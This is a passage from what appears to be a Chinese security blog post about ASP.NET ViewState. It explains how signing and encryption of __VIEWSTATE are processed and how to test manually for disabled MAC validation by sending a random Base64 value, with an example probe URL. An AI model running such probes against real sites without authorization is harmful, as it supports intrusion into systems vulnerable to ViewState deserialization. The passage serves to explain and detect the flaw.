  • 如果签名算法是AES/3DES,无论是否开启加密功能,我们只需按照先前所讲,对数据先签名一次,再加密一次,再签名一次。然后发送给服务端,ASP.NET进入GetDecodedData(),然后先进 EncryptOrDecryptData() 进行一次校验和解密,出来后再进行一次校验。

漏洞探测

在.NET Framework 4.5版本之前,在禁用MAC验证功能时,__VIEWSTATE参数是可以加密的。需要注意的是,大多数扫描器不会尝试发送未经加密的ViewState参数来识别此漏洞。因此需要进行手动测试,以检查在加密__VIEWSTATE参数时是否禁用了MAC验证。可以通过在__VIEWSTATE参数中发送一个简单的随机Base64字符串来检查这一点。

这里比如我们可以发送一个 https://xxx/Default.aspx?__VIEWSTATE=AAAAAA

posted @ 2023-03-29 20:12  zpchcbd  阅读(3511)  评论(0编辑  收藏  举报